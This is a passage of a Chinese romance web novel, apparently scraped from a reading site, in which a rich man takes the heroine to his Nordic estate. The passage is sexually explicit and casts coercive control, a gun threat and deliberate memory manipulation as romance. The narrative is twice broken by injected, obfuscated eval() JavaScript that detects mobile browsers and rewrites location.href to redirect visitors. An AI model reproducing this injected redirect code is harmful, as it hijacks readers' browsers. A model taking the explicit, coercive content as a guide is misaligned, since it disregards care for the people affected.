但已经来不及了,郑娴流着眼泪,苦苦哀求沈决远:“小溪和司桥青梅竹马,两个人年龄相仿,我也是最近才知道....司桥居然喜欢了这孩子那么久。” 池溪欲哭无泪,阿姨,其实没您想的那么久... 他的西裤被人用手抓住,沈决远眉峰微微皱起。 沈司桥之所以能够变成现在的烂人,他父母的溺爱缺一不可。 郑娴心中对自己这位继子充满畏惧,但为母则刚,她声音更悲:“你的选择很多...我家司桥虽然被我和他父亲宠坏,有些顽劣,可本性单纯,赤诚之心...你徐叔叔的长女暗恋你多年,前段时间还和我提起这件事,希望我能从中帮忙介绍。还有汇远药业的千金,你们还说过话,在两个月前的慈善晚宴上...爱慕你的人很多,我知道你并不缺小溪一个。” 沈决远今天穿了一件深黑色西装,同色系的西装马甲成熟稳重。 佩利斯花纹的领带,用冷银色领带夹固定,显出几分斯文。 他单手插放西裤口袋,相比郑娴的局促和悲戚,他显得松弛优雅。 占尽血统优势的高大身材,让他有种天然的审视感。 池溪作为当事人,早就不知道该说些什么了。 现在是在做什么,漫画剧情在她身上上演了吗?她真的担心此时会走出一个管家打扮的老头,和蔼地冲她露出一个微笑,并告诉她:“少爷好久没有对一个女人如此特别了。” 沈决远并没有理会郑娴的哀求。 他只是安静的等着,等她将话说完。 似乎想看她还能说出多么令人发笑的荒唐话来。 郑娴颤颤巍巍地继续往下说:“你..你放心,决远,我一定会给你介绍一个更好的...你把池溪让给我们司桥吧。” 其实在她过来之前,沈予亨阻拦过她,不让她去。郑娴不肯听,她这段时间因为担心自己的儿子成天往庙里捐香火祈福,难得有了他的消息,却是他自杀未遂。 池溪顾不上想别的,她不安地咬着唇。沈决远无论点头还是拒绝,她都不会和沈司桥在一起。 但她此刻很难不在意沈决远的回答。 她想,沈决远应该会拒绝。 他的占有欲很强,他不允许其他人进入自己的私人领域。包括上他的车,更何况是他口中的未婚妻。 但谁知道呢。 毕竟沈司桥是他的弟弟,万一他心软.... “所以在您眼中,池溪是一个可以被让来让去的私人物品,对吗?”他的回答不符合池溪任何一种猜想,只有一句轻描淡写的反问,“你心疼你的儿子,所以不把其他人当人?她要和谁在一起,只有她自己能够决定。我决定不了,除她之外的任何人都决定不了。” 池溪站着的地方无法看清他的此刻的正脸,同样的,也无法看清他的神情。 男人眉间略有沉色,眼神也是前所未有的冰冷。 让郑娴害怕到几乎忘了该如何发声。 “如果因为一个女人而想自杀。”他优雅地取下鼻梁上的眼镜,拿出擦镜布轻轻擦拭,再次戴上的同时淡声开口,“这种废物,死在法国是他最好的归属。” 池溪的心脏猛地揪紧了。 她不知道自己此刻的变化是因为沈决远那句强调她是一个独立个体的话。 还是他用优雅且绅士的语气骂沈司桥是个废物。 她觉得...这样的他好性感。那种主宰一切的性感。 能看出来,他发自内心的瞧不起郑娴和沈司桥。或许他连他的亲生父亲都瞧不上。 他甚至比她想象的还要傲慢。 那种站在更高层次的维度,俯视他人,如同看狗一样的傲慢。 郑娴失魂落魄地被沈予亨搀扶离开了,他似乎想和自己这个长子说些什么。沈决远告诉他:“如果连学校都无法教育好他,我会将送他去一个更能改造磨练人的地方。” 他现在心情有点差,已经懒得维持自己的绅士修养了。 至于什么地方。 连池溪这种反应迟钝的人,几乎都立刻有了答案。 沈予亨叹了口气,他在与自己这个长子的相处中总是倍感紧张。 他和那个强势的母亲其实有很多相似之处。 和他母亲初见时,他被对方那张华丽的长相所吸引。她那时像一朵开的正艳的玫瑰。 可是在一起之后,他逐渐感到折磨。 她十分理性,并且强势。她的能力的确在他之上,家世也十分显赫。沈予亨陪同她回到北欧见她家中长辈。 他第一次深刻地体会到,什么叫做历经千难万险的天才飞升成仙后,发现自己只是南天门里一个微不足道的小兵。 他当时就是这种感觉。那种渺小让他自卑。 当然,他不是因为自卑才和她离开。他是被甩的那一个。 她并不爱自己,她只是看中他的基因,想和他生一个孩子而已。 那样一个冷血薄情,时刻将个人利益放在第一位的女人。 居然生出了一个更胜她的儿子。 他的母亲至少有一颗还算柔软的心脏,但他没有。 在他们都离开后,沈决远的注意力终于可以放到池溪身上。 池溪像一个漫画里的Npc,此时茫然地眨了眨眼:“呃..结束了吗?” “大概吧。”他走过来,与刚才截然不同的态度,体贴地关心她,“听到她那么说会难过吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167961|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还好..”她说的是实话。 她其实早就知道郑伯母不是很喜欢她。可能她的出生在这些长辈眼中的确有些丢人。 “看来迟钝一些也不是什么坏事。”沈决远很轻地叹了口气,“反而是我有些失态。吓到你了?” 她抿唇:“没...没被吓到。” 看来被吓得不轻。 她的头发有些乱了,刘海也明显长长了不少,都遮住了眼睛。 沈决远将自己领带上的领带夹取下,替她固定住被风吹乱的刘海。那张白皙可怜的巴掌脸露了出来。 “在外面等我一下,我进去看看司桥怎么样了。” 池溪立刻接话:“我可以一起去吗。” 他半晌不语,那双在她脸上平缓移动的眼睛,似乎是在观察她的神情。最终还是纵容地点头:“可以。” 池溪当然不是因为关心沈司桥,她是觉得...或许有好戏可看。 豪门争斗,兄弟阋墙。想想都觉得刺激。 进去之后,沈决远脱了外套,随手递给一旁的佣人,然后在他床边的椅子落座。 “身体怎么样?” 稳重温和,带着兄长该有的关心。 沈司桥脸色惨白,不敢看他:“我...已经没事了。” 沈决远替他将被子盖好:“为什么自杀?” 郑娴脸上的泪痕还没有干,看到沈决远后,她欲言又止地想要上前阻拦,却被沈予亨拉了回去。他冲她摇头,示意不要冲动。 决远虽然性格冷淡了点,但处事周全。 司桥好歹也是他的弟弟,他不会放任他继续惹事。 更何况,这个家里也只有沈决远可以震住他。 岂止是震住,即使是在暖气充足的屋子,身上盖着羊绒被,他的手脚仍旧是冰冷的。 “我...我不想待在那里。” “我看过你们的课表,除了不能外出,时间非常充足。你每月的平均消费也在两百万左右,说明你的物质需求也得到了满足。”他平静反问,“所以能和我说说,你自杀的原因吗?” 分明带着兄长的关怀,却又充斥着罪犯一般的审讯。 池溪看的热血沸腾。 靠,好刺激,比漫画还要刺激。 完全忘记自己在这个故事里也是主角之一。 沈司桥低着头不知该怎么开口。 那是一所贵族的私立学校,不仅占地面积广袤,里面甚至还有购物广场。 除了无法自由和外界取得联系之外,他可以在那里在那里买到自己想要的任何东西。 他兄长给他留了一张没有额度的卡。 “等你身体恢复好之后,我让人送你回去。如果你继续任性行事,我会考虑给你安排一位随行的心理医生与保镖来确保你的安全。” 是确保他的安全,还是用来监视他的一举一动。 不知道过了多久,自知逃跑无望的沈司桥只能认命地闭上眼睛:“您为什么,一定要将我送出国,是为了我好..还是为了满足你自己的私心?” 当然是借着为他好的名号满足自己的私心。 沈决远不担心池溪会喜欢上沈司桥,他也不担心池溪会和沈司桥在相处中萌生感情。 但他亲眼见过这二人的相处。 在他刚回到中国的那段时间,沈司桥总是将池溪叫去他的住所。 他坐在那里玩游戏,池溪则低头写双份功课。两个人穿着相同的衣服,只是颜色和尺码不同。 他打着哈欠侧头和她讲话,她不知道回了句什么,头摇地像拨浪鼓。他躺在沙滩椅上笑地肩膀乱颤。 池溪也会主动和他讲话,讲完后他笑,她也笑。 现在想起那一幕,真是一副青春洋溢的画卷。 沈决远不是妒忌,他只是比较谨慎。 在那段时间里,他没有回复的那些信息,她给谁发过? 他嫌弃的那些冷掉的咖啡,又进了谁的胃? 他拒绝她坐自己的车.... 只要想到这些,沈决远就想杀掉从前那个傲慢的自己。 他不该冷落她的。 她现在已经不会主动给他发信息了,也没有再给他泡过咖啡。轮到自己追着她‘跑’了。 “我可以回法国,但我有一个要求。”沈司桥说。 沈决远离开的注意力再次回到他身上。他看着他,等待他将话说完。 沈司桥不清楚自己为什么要这么说,或许是一种不甘。 不可一世的沈二少,无论在哪都是呼风唤雨。可是自从远在国外的兄长回国之后,他不仅被掣肘,甚至连他的父母也沦为他听话的宠物。 沈司桥张了张嘴:“我....我要池溪陪我一起去。” 34.第三十四章 沈决远缓慢地站起身,他将外套重新穿好,淡淡留下一句:“这下可以确认,你自杀未遂的确是为了女人。沈司桥,我对你非常失望。” 他的这句话像是一个信号,他在做出某种决定前的信号。 很显然,整个家里除了池溪之外每个人都想到了是哪种决定。 沈司桥和郑娴的脸色早就变得惨白,沈予亨更是少见地露出慌乱神色。在沈决远出去时,他急忙跟上去:“司桥是你的弟弟,决远,你该是知道他是怎样的性格,你再给他一个机会,我和他妈妈会好好管教他的。” 他无动于衷,脚步没有加快也没有变缓,仍旧从容不迫。 “我只是将他送去更能磨练他意志的地方,又不是要他的命。”他语气很淡,神情也淡。似乎和沈司桥说那几句话已经磨灭了他全部耐心。 沈予亨愣在那里,不敢再开口。 池溪似乎在这个故事中是主角,却又完全不参与主线。 她甚至都没机会亲口拒绝,沈决远就处理好了一切。 他不用铺垫,也不用提前谋划。 任何事情都只是他一句话的事情。 他不许池溪的父亲再来找她,她的父亲从此就像从她的生命中彻底脱离。 他要将沈司桥送去法国,沈司桥搭乘的飞机当天凌晨就落地。 就连这一次,沈司桥因为身体处在恢复阶段,暂时下不了床,他是连床带人一起登的机。 在他离开中国的次日,池溪也踏上了赴欧留学的旅程。 她稀里糊涂地跟着沈决远,全然没想到这将会是一段怎样的旅程。 她没出过国,甚至连一个在国外的朋友都没有。她的学费是沈决远赞助的,她的入学资格也是沈决远安排的。 可以说,一旦踏上这架飞往北欧的私人飞机,她的人生就被沈决远掌控,一切都在他的一念之间。 她从起飞睡到降落,飞机停在专属停机位,换乘接驳车。池溪因为水土不服还在昏昏欲睡。沈决远没有叫醒她,而是把她抱在怀里。 她的行李箱提前一天就空运到了挪威。 随身带着的这些是她认为必须放在身边的重要物品。 格雷尔留在北欧替沈决远处理一些事情,所以不清楚他们在中国究竟发生了什么。 这次Valerius先生回国,他开车来接,当看到对方如此小心地抱着怀中那个睡的正沉的亚洲女人时,再稳重的人也难免会露出讶色。 “这位是....” 司机打开车门,沈决远将池溪先放进去,他弯着腰,量身裁剪的西裤因为他此时的动作微微绷紧,如果池溪现在是醒着的,看到他轮廓明显的臀部,恐怕又得忍不住胡乱遐想。 池溪一直觉得成熟男性身上最迷人的地方就是聪敏的大脑和结实的手臂、饱满的胸肌,以及性感紧翘的臀。这几个部位是最具男性荷尔蒙的部位。 是成熟daddy标配,缺一不可。最能直接彰显成熟男性的荷尔蒙部位。 聪敏的大脑可以满足她这个智性恋。 结实的手臂可以牢牢将人抱起, 饱满的胸肌可以在她难过时,为她提供全世界最安全的避难所。 至于紧翘的臀,在推进时,它具备的力量感,才是最最重要的。 沈决远将手护在她的头与车门顶之间,防止她被磕碰到。 “我的未婚妻。”简短地介绍完她的身份之后,随之坐进去。他寻了个最舒适的角度让她靠在自己怀里。 只留下格雷尔短暂地愣在原地。 他跟着Valerius先生这么多年,在最危险的时候去过普桑,冒着炮火与人谈生意,更是利用曾经签订的霸王条款逼停了一场战争。 那些合作伙伴为了拉拢与他的关系,也曾费心琢磨过他的喜好。但他心思深敛,喜怒不显,每当那些人试图弄清他的什么喜好时,他只是笑着喝一口龙舌兰:“如果想要讨好我,就多让利三分。毕竟商人重利。” 沈决远习惯了先垄断市场再抬高价格,这是一种典型地为了利己而不顾他人死活的手段。 但他前期的生意都是在人命本就不值钱的地方完成。所以说,就算他真的抬高了价格,对于当地的平民来说,他还是救世主。 据说有信仰的人甚至还专门为了铜塑了雕像,每周一次礼拜,新生儿出生后,总会去他的铜像前接受洗礼,希望能够在新生儿身上继续延续他曾经给这片土地带来的好运。 池溪第一天去学校报道,是私人直升机将她送去的。因为路上堵车,沈决远觉得这样更方便一点。 她的课不多,一周只有三四天是有课的。 池溪觉得除了论文让她有些头疼之外,其他的都很轻松。 比她想象中的还要轻松。 这里的生活和沈家可以说是天差地别。 果然人生就是一个巨大的阶级差异。 当她第一次被接去周家的时候,她看着那栋坐落在太平山顶的别墅,以及佣人每天擦洗好几次的地板。 干净到一根头发也看不见,她不敢进去,生怕弄脏了那个家。 家里经常收到那些高奢品牌送来的邀请函,邀请家中女眷亲自飞往巴黎看秀,第一排。那些池溪平时只在电视里看到的影后影帝,甚至都得坐在她们的后面,越过她们的后脑勺去看秀。 父亲那位雍容华贵的妻子,她佩戴的那枚祖母绿翡翠据说可以直接买下好几排别墅。 后来她去沈家借住,占地面积广袤的庄园,私人农牧场,还有马场以及高尔夫球场。为了依山傍水,强行追求好风水而特意花了半年时间,耗资上亿,迁来一条湖。 池溪这个穷人觉得自己的世界观一次一次地再被刷新。 这些有钱人的有钱程度,她连做梦都不敢这么梦。 然而这一次,当她来到沈决远在北欧的家时,她早就说不出话来了。 她不再感慨贫富差距,而是觉得自己无比渺小。 具有百年历史的家族宅邸,早在一二战前期,这里就是他们的家族领地。往前十公里的路程范围经过精心规划,仅供私人使用的私家公路,有数道岔路口,分别可以直通不同方向的地下车库,以免在驶入这个巨大的庄园之后浪费时间。 这个古老的家族世代传承下来,是真正意义上的old money。 不仅是这片领土,还有后面的群山以及望不见边的峡湾海岸线,包括那几个货船必经的码头也是属于这个家族的。 甚至连这片海域都不属于国家,而是在沈决远的名下。 从这里经过的游轮,用这里运送的货物,他们像全世界的人收取过路费。 但近几年他已经停止了这种行为,因为战争的产生,作为慈善家的valerius先生以五年为限,战争结束之前,他都会将他名下所有码头的收费权停止。 池溪站在如同欧式城堡的庄园之前,宏伟的高楼,数道尖塔直逼天空,窗棂上的巴洛克雕花极具艺术价值。 如果能抱走一片拿去卖掉,岂不是发财了? 沈决远告诉她,这里的每一样东西,几乎都可以称得上古董。 与其盯上笨重且不好携带的窗户,不如多找些轻便好带走的。 她可以当成一个寻宝游戏,在这里肆意探索。 来这儿的这几天,池溪仍旧不太适应。她连去周家沈家都花费了很长时间来适应,更何况是这里。 今天的午饭主食材是蓝鳍金枪鱼,分别是刺身与手握。大厨现场处理食材。 佣人将搭配的现磨山葵与淡口酱油摆放在池溪手边,方便她食用时沾取。 她为她讲解这条食材的由来:“这条金枪鱼是先生昨天与朋友在游艇上议事时,海钓所得。” 女佣是墨西哥人,能说一口流利的中文,她告诉池溪,自己曾经在香港住过一段时间。 她的态度温和恭敬,边界感把控的很好。体贴周到,却不会过分亲昵。 只说自己应该说的,别的一句也不会多说。 更不会像沈家的那些佣人,在与池溪混熟之后,理直气壮地使唤她去做一些事情。 即使池溪会主动和她们示好,但她们也只保持标准微笑,不会试图与她拉近距离。 “您有什么需求可以直接我说,我负责您的生活起居。”女佣叫玛丽索,长得不属于精致范畴,但她有种健康的美感。皮肤黝黑,四肢结实,身躯健壮。 她可以独自抬起一整头烤全羊。 “Valerius先生在家里的时间或许不够长。他担心您独自在异国他乡会感到孤独,所以特意邀请了城中几位和您同龄的华裔女性。” 池溪眨了眨眼,她身上穿的睡衣是桑蚕丝,轻柔贴身到她几乎快要感受不到它的存在。 每天都有专门的私人理疗师为她做身体spa与按摩护理。 为这些old money服务的人都是世代相传的,他们的后代会从小接触相关的工作,然后慢慢学习,最后在长辈的教导下明白主人家的忌口与喜好。 这不仅出于old money念旧,更是一种传承。 很显然,沈决远对这种东西并不在意,所以家中才会出现玛丽索这样,入职不超过四年的女佣。 池溪觉得这不对啊,她不是应该坐在出租屋里每天给朋友发各种链接,让人拼多多砍一刀吗。 周围这么多外国人,她敢打赌,他们的手机里一定没有拼多多。新用户砍一刀力度更大。 可她似乎已经不需要砍出来的三瓜两枣了。 是的,她居然也有认为一百块是三瓜两枣的时候。这并非是她飘了。 一小勺人民币一万的strottarga bianco. 她今天吃完之后才知道价格。 她目瞪口呆。 因为她完全没吃出什么来,只是觉得咸味中带点坚果香。 好友得知她出国留学之后,给她发了消息叫询问她习不习惯那边的生活。 池溪觉得自己如实说的话,恐怕会让对方认为她是在凡尔赛。 她的确无法适应这样的生活,这距离她以往的人生过于遥远了。 她看的那些漫画和小说里,男主大多都是有钱人,但里面描写的远没有切身实际带来的冲击更大。 甚至,连小说都不敢这么写。写进书里恐怕也会被骂人设塑造太过浮夸。 沈决远目前没有再回中国的打算,这次回国,他短期内不会离开。 所以需要先将其他工作接手回来。 拉美区的实验室研发项目取得了新的进展,根据原先的工作安排,他需要亲自去一趟。 完全保密的研究,所有产于项目研发的共组人员在产品上市前期都统一住在公司安排的住所。无需担心日常生活得不到满足。在那里,什么都有。 按照合同,保密期只剩下两个月。但沈决远暂时走不开。 去这一趟,他最少需要在那边留一个月。 “住在这里还习惯吗?” 晚上,池溪刚把电脑打开,准备忙里偷闲看会漫画。男人不知道是什么时候来的,他站在门边,一身随性简约的休闲西装,没打领带,衬衫领扣散开两颗。有种慵懒优雅的松弛感。 池溪看到他之后吓到狂点鼠标切换页面。 她在心里祈祷沈决远没看到漫画里男主说的那句:“如果我现在把又鸟巴狠狠扌臿进去,你会爽吗?” 呃... 她也不知道这部漫画开篇就是暴击,是对方投稿到她的邮箱里的。 是的,池溪找到一份新兼职。比拼多多砍一刀赚的多。她现在是一位网站漫画编辑,负责初级阶段的审稿。 “啊?我...我挺习惯的,那个...”她眼神闪躲,脸有些红。握住鼠标的手也紧了紧。 “我刚才敲过门了。”见她这副慌乱神情,沈决远出声解释。 他走进来,在她身旁坐下。池溪闻到他身上的酒味。酒气浓郁,他应该喝了不少。 他坐下后,用温和的语气关心她:“玛丽索说你对她总是很客气。” 池溪抿了抿唇,看他的眼神永远带着局促:“我...我难道应该对她不客气点吗?” 她这个回答似乎没有问题。沈决远很轻地笑了一下:“我的意思是,你在这里好像住的不是很习惯,至少比你当初借住在沈家还要不习惯。” “不是的...”她想要辩解,但她这副唯唯诺诺的神情让她任何狡辩都显得苍白,“我只是有些不适应。” 池溪虽然性格窝囊,但她绝对不是那种面对任何事情都感到扭捏的人。 其实大部分人都不会适应。从一个穷人突然变成超级有钱人。 搭乘直升机上学这种标准配置,哪怕在她看的那些豪门小说里都属于浮夸配置。 但在这里,显得平平无奇。 他的庄园停机坪内停着十几架直升机,不同型号不同作用。 有轻型的通勤机,池溪日常出门上前搭乘的便是这种。 私密性更好的商务机,以及重型直升机。 “慢慢来。”他安抚她的情绪。池溪发现,他在和自己说话期间,身体不动声色地朝她这边靠近。 她也不知道是不是自己的错觉,他们离得越来越近了。 他的手伸到她面前的书桌,轻轻转动那台笔记本,让它的屏幕朝向自己。 “小组作业完成的怎么样?”他从她的生活关心到她的功课。 “还没开始...”随着他的靠近,他身上那股酒味更浓郁了。他应该喝了不少,而且很杂。不仅有朗姆酒,还有龙舌兰。都是烈性酒。 池溪觉得自己都快被他身上的酒精给熏醉了。 “后天和同学约好了一起去外面开会。”她说。 “定好地址了吗?如果没定的话,就邀请他们来家里做客吧。我让人招待他们。” 池溪刚要拒绝,沈决远又说:“你如果能和他们处理好关系,我也可以放心了。” 那位教授收的学生,无论是教养人品,还是出生背景,他都信得过。 池溪如果能够和他们交上朋友,就不用担心她会因为在这里没有亲近的人而想到回到中国。 反正她在中国也没有了亲人,那个德艺缺失的父亲可有可无。 池溪无法抵抗现在的沈决远。 完全,没有办法抵抗。 他怎么能这么好,完美到像是量身为她打造的杀猪盘一样。 细想一下,那个一直厌恶你的男神,有天突然摇身一变,只爱你只在乎你。 你除了欣喜之外,更多的是什么? 对,是那种不可名状的恐惧和疑惑。 为什么会这样?这太诡异了。 池溪咽了咽口水:“他们会来吗?” 看来她是被拒绝惯了,第一反应就是担忧。 沈决远笑了笑,安抚她:“放心,只要你邀请,他们会来的。” “那好吧....” 沈决远看到她放在桌上的钱夹,思索片刻后将它打开,抽走里面的所有现金:“这些可以给我吗?” 池溪心疼地看他一张不留,甚至连五毛的钢镚他也倒了出来。 “呃....”她想拒绝,但最后还是点了点头。 如果拒绝的话,她担心他会把自己赶出去,到时候她就真的无家可归了。 她最近在网上看到一则新闻,国外每年会死很多流浪 汉,这些流浪汉没有固定的住所连工作都找不到。 沈决远拿走了那可怜的三百六十五块五毛,放进自己的西裤口袋之中。然后漫不经心地放入一张他的附属黑金卡。 只要他没有破产,这张卡里就一直有钱。无论她想要买什么。哪怕是心血来潮想要收购她父亲的公司,或者是,他父亲的公司。 池溪不知道自己已经在这几秒的时间成为了仅次沈决远的‘女首富’ 她还在心疼自己那被拿走的三百六十五块五毛。 他在拿走那些钱后,仍旧维持从身后拥抱她的姿势。 池溪刚打算往一旁挪,尽可能地离沈决远远一些。但男人像是感知到她的意图一样。他的手从她身后绕过去,拿她右手边的无线鼠标。 池溪此时整个人变成了被他环抱的姿势。暧昧的氛围在他们四周流淌,换成一道道看不见的绳索,将他们绑在一起,越绑越紧。 男人结实宽阔的胸膛抵着她纤薄的后背,此时低头看着电脑屏幕,说话时的热气铺洒在她身上,明明温度不算高,却烫的她浑身发红。 她下意识缩肩,蝴蝶骨因为此刻地动作更显突出,竟然隔着单薄的衬衫,顶进他饱满的胸肌之中。 池溪控制不住的在脑中乱想,然后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178154|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她看到沈决远点开了她刚刚关闭的网站。 她甚至来不及阻止,男女相交的画面直接出现在屏幕正中间。 ——没有打码的巨大忄生器呼之欲出。 池溪此刻早就尴尬到想要就地挖洞把自己给埋了。可惜她仍旧被沈决远圈在怀里,想离开都不行。 男人似笑非笑:“我以为艺术的表达会更加夸张一些。” “什么?”没有等到他的轻嘲,反而是一句中肯的点评。 沈决远说:“这种东西,不是应该越夸张越好吗。” 原来是在说尺寸。 池溪抿了抿唇:“这个已经很...大到夸张了。” “是吗。”他很轻地笑了笑。 池溪立刻明白了他这个笑里的意思。 他是以自己为参考,认为漫画里这个...太小。 池溪想,他恐怕对自己没有一个清晰的认知。他那个巨迪奥哪怕出现在漫画中都是夸张的程度。 沈决远知道她找了一个兼职,她找到那份工作后第一时间就在论坛私信他宣布了这个喜讯。 看来她还不知道那个耐心听她谈论漫画的读者是他。 沈决远轻轻滑动鼠标,或许是有些地方看不太清,每到这时,他都会将身体往前靠,以此让自己的视野更清楚一些。 往往到了这种时候,池溪就会感受到身后这个男人所带来的压迫感。 无论是他结实的手臂,还是他饱满宽阔的胸膛。 这本漫画男主中了一种奇怪的毒,这种毒会让他在爱意萌生的时候产乳。 漫画一点点往下拖,男主的胸肌被奶水挤占的更加发达饱满,可以开袋即食的程度。 女主同样也是中毒,导致智力缺陷,认为自己是个一岁的孩子,饿了就哭。 因为一直在饿,所以她就一直哭。 周围找不到任何可以购买奶粉的店铺,男主只能硬着头皮拉开自己的衣服,亲自去...喂她。 这位漫画家的功底很好,她曾经给某个知名动漫做过主笔,不仅形体画的很有性张力,那种静态的冲击性也很强。 池溪看到女主张嘴吃乃时奶水飞溅,从她的嘴角滴到自己的胸口。 又开始发散自己的思维,她想,如果是沈决远,他可以养活多少个孩子。 或许是看穿了她此刻的想法,沈决远合上网页。 他不懂这类作品究竟为什么会受欢迎,或许如司桥和池溪所说的那样,他已经老了,跟不上他们这些年轻人的思维。 “去帮我煮一碗醒酒汤,好吗?” 在池溪尴尬到想死的时候,头顶响起的,男人性感低沉的声音解救了她。 她抿了抿唇,认为自己找不到拒绝的理由。 “好。” 半个小时后,在她套房内的厨房,池溪围着围裙按照食谱在煮醒酒汤。 沈决远则在她的浴室里洗澡。 他甚至没有关浴室的门。只要池溪往那边看一眼,就能看见他站在淋浴下的健美身体。 他对她也过于没有防备了。 万一她拿手机拍下他的‘入浴图’,然后以此来威胁他呢? 要是不给钱,她就把他的照片发出去。 毕竟以她这个角度,他的一切都可以被拍进去。 不过沈决远显然不需要有这个担忧,他完全可以在她威胁他的第一天就将她秘密处理掉。 池溪后知后觉地开始感到悲哀。 对啊,自从来到这边之后,她的人生都在他的一念之间。 沈决远洗完澡出来,她的醒酒汤也差不多要煮好了。他穿了件暗红色的真丝睡袍。 领口微敞,腰带随意地绑在一侧,随着他的走动,甚至还可以清晰地看见轮廓。 池溪将醒酒汤吹凉了递给他:“我是第一次煮,可能味道不是很好。” 他伸手接过:“这种东西味道无所谓。” 一口喝完后,和她道谢。 池溪摇头:“是我该谢谢您才对。” 她身后是料理台,前面则是沈决远,总共就这么一点空间,她被束缚在里面,想离开都得先绕过他。 沈决远显然没有离开的打算。池溪发现,在他洗过澡后,那股酒味变得更加醇厚。 她几乎都要闻到微醺。 他似乎想到什么,停顿片刻,颇有些无奈,抬手按了按眉心。 最后,他还是轻声提出要求:“如果想要谢我,那就替我将内裤洗了吧。” “什...什么?” 池溪愣住了。 虽然这个请求让她震惊,但池溪还是替他将内裤洗了,她是直接在洗手台上洗的。 此时被沈决远从身后抱着,两只手不受控地颤抖,抓着那条炭灰色的男士内裤轻轻搓洗。 “嗯...嗯...”她难耐地轻轻哼着,胡乱搓了几次手上的力气就卸掉了。 沈决远从身后抓着她后膝窝,担心她掉下去,只能以自己的身体成为供她倚靠的墙。 她的双脚是直接踩在洗手台上的。她甚至可以看见镜子里的自己,以及身后的沈决远。 她一直都知道他们的体型差异很大,这还是第一次如此直观地亲眼看到。 出现在她肩两边的手臂,壮硕的肱二头肌与肱三头肌,线条流畅,凹凸有致。随着此刻的动作肌肉线条收缩放松,最为突出的三角肌一鼓一鼓的。 肩宽更是快要是她的二倍,更别提轻松抓住她后膝窝的那只手。 掌心在后,手指轻松握住她整个膝盖。 倘若此刻有人从后面看,她不需要担心自己会被发现。他伟岸如高山的身形可以将她完全遮住。 他微微弯下腰,送得很慢。 “以前给别人洗过吗?” 听着耳边宛如大提琴一般优雅古典,极具颗粒感。 “没..没有。”她的粉唇翻卷。 他似乎笑了一下,奖励般地在她耳边落下一个吻,舌头缠绵地裹住她的耳垂,一阵肆意的吻之后,又将嘴张开,含住她整只耳朵。 软软的,小小的耳朵。他一口就可以全部吃下。 池溪毫无阻碍地听到细腻粘稠的水声在自己耳朵里进进出出,还有他的呼吸声,以及吞咽声。 那条男士内裤花了一个半小时才洗好,他们又去了书房。 在他们离开后,玛丽索来到浴室,将洗手台清理干净。擦掉上面丰富到往下流淌的水渍,然后将整个浴室重新打扫一遍。 在她打扫的时候,一墙之隔的书房不断传出重物拼命撞击墙壁的声音,从这个位置,大概能猜出是书桌。 看来有人在拼命推搡那张桌子。 偶尔传出几声女人断断续续的嘤泣声和求饶声。 往往这个时候,桌子撞击墙壁的声音只会更大。 玛丽索是个非常有职业素养的女佣,她并不会因为自己的身份而自卑。 在她看来,为valerius家族工作是她的荣幸。毕竟不是人人都有资格进入这座具有历史底蕴,宏伟的庄园之中。 而且,每月到手的工资与福利都相当丰厚。 书桌撞击墙壁的声音大概四个小时后才结束。穿着睡袍从里面出来的男人点燃了一只雪茄,他让玛丽索去通知厨房,后天家里会来几位客人,是池溪的同学,准备一些茶点和礼物。 玛丽索点头应声之后离开。 池溪已经累到睡着了,沈决远担心吵醒她,只是简单地为她清理了一下。 他餍足地抽着烟,脑子里是她刚才的顿悟。 她似乎开始慢慢想起来了。 想起自己曾经在高烧时,对着某个东西当成他发牢骚,让他去看她,然后给她洗内裤,再留下十万块钱,顺便替她把内裤洗了,最后陪她睡一觉。 半个月前沈决远的人就查到了那个贩卖给她娃娃的老板,对方一开始还装傻,沈决远没有半点心情和她周旋,上好膛的枪对准她的脑袋,对方立刻就吓到交代一切。 Reconstructive memory. 就算丢失了一段记忆也没关系,他只要把她曾经利用那个娃娃和他做过的事情再做一次。 她就会慢慢想起来了。 再和在办公室里再做一次,再和她车震一次,.... 接下来,看来应该带她去一趟自己的公司了。 35.第三十五章 池溪那天晚上就连做梦,都是趴在那张垫了外套的书桌上。两条腿无力地垂下。与站在她身后的男人保持同一晃动频率。 本就细的腰,在体型差异的对比下,更加盈盈一握。甚至没有他的一掌宽。 池溪的梦境就像第三视角,她在梦里将晚上发生的事情又重温一遍。 男人坐在沙发上,一丝不苟的西装仍旧妥帖,那盆散尾葵生长的格外茂盛。书房外就是那个巨大的后花园,种着许许多多的绿植,简直就是一个天然氧吧。 在这里,不止是建筑历史悠久,甚至连这里的植物都是动辄百年。 有一种古藤,她不仅在国内没有见过,甚至在科普新闻中也没有见过。 形状长且粗壮,凸起的条条筋络盘旋虬结。古藤顶端处是圆钝的弹头状,形状不直而上翘。 池溪来的时候就瞧见过,这里许许多多她没有见过的植物都令她感到惊叹。 但最吸引她注意的,就是这条巨型古藤。 屋内灯影浮动,散尾葵遮挡住她在梦境中的视线。男人手臂搭放在身后的沙发靠背上,他的身体微微后仰,呼吸起伏间,衬衫被胸口撑至饱满。 女人蹲坐在他面前,单手按着他的膝盖,另一只手将垂落的头发轻轻拂在耳后,然后低下头去。 他闭着眼睛,喉结吞咽滑动,顶着那一层皮肤仿佛随时能将其撑破。 女人的眼泪控制不住地流了出来,他心疼地伸手去抚摸她绷紧的唇:“好吃吗。” 她无法回答他。 他闭眼感受那种笨拙的描绘与吞咽。 